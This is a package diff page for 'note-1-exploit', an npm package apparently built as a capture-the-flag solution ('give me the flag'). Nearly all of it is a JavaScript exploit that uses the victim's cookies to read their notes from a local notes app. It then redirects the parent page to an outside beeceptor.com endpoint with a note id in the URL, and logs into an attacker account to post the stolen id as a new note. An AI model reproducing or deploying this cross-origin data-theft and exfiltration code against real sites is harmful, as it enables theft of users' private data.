note-1-exploit 1.0.15 → 1.0.16

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +0 -38
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,14 +1,5 @@
1
1
  async function exploit() {
2
- window.parent.location.replace("https://omniman.free.beeceptor.com?q=hahaha")
3
2
  let all_results = await fetch("http://127.0.0.1:10082/api/notes/all", {
4
- "headers": {
5
- "accept": "*/*",
6
- "accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
7
- "sec-gpc": "1"
8
- },
9
- "referrer": "http://127.0.0.1:10082/",
10
- "referrerPolicy": "strict-origin-when-cross-origin",
11
- "body": null,
12
3
  "method": "GET",
13
4
  "mode": "cors",
14
5
  "credentials": "include"
@@ -17,33 +8,12 @@ async function exploit() {
17
8
  let note_name = (Math.random() + 1).toString(36).substring(7);
18
9
  window.parent.location.replace("https://omniman.free.beeceptor.com?q=" + json_results[0].id)
19
10
  await fetch("http://127.0.0.1:10082/login", {
20
- "headers": {
21
- "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/127.0.0.1:10082p,image/apng,*/*;q=0.8",
22
- "accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
23
- "cache-control": "max-age=0",
24
- "content-type": "application/x-www-form-urlencoded",
25
- "sec-gpc": "1",
26
- "upgrade-insecure-requests": "1"
27
- },
28
- "referrer": "http://127.0.0.1:10082/login",
29
- "referrerPolicy": "strict-origin-when-cross-origin",
30
11
  "body": "username=nnnddd&password=nnnddd",
31
12
  "method": "POST",
32
- "mode": "cors",
33
13
  "redirect": "follow",
34
14
  "credentials": "include"
35
15
  });
36
16
  await fetch("http://127.0.0.1:10082/login", {
37
- "headers": {
38
- "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/127.0.0.1:10082p,image/apng,*/*;q=0.8",
39
- "accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
40
- "cache-control": "max-age=0",
41
- "content-type": "application/x-www-form-urlencoded",
42
- "sec-gpc": "1",
43
- "upgrade-insecure-requests": "1"
44
- },
45
- "referrer": "http://127.0.0.1:10082/login",
46
- "referrerPolicy": "strict-origin-when-cross-origin",
47
17
  "body": "username=nnnddd&password=nnnddd",
48
18
  "method": "POST",
49
19
  "mode": "cors",
@@ -51,14 +21,6 @@ async function exploit() {
51
21
  "credentials": "include"
52
22
  });
53
23
  await fetch("http://127.0.0.1:10082/api/notes", {
54
- "headers": {
55
- "accept": "*/*",
56
- "accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
57
- "content-type": "application/json",
58
- "sec-gpc": "1"
59
- },
60
- "referrer": "http://127.0.0.1:10082/",
61
- "referrerPolicy": "strict-origin-when-cross-origin",
62
24
  "body": "{\"title\":\"" + note_name + "\",\"content\":\"" + json_results[0].id + "\"}",
63
25
  "method": "POST",
64
26
  "mode": "cors",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "note-1-exploit",
3
- "version": "1.0.15",
3
+ "version": "1.0.16",
4
4
  "description": "give me the flag",
5
5
  "main": "index.js",
6
6
  "scripts": {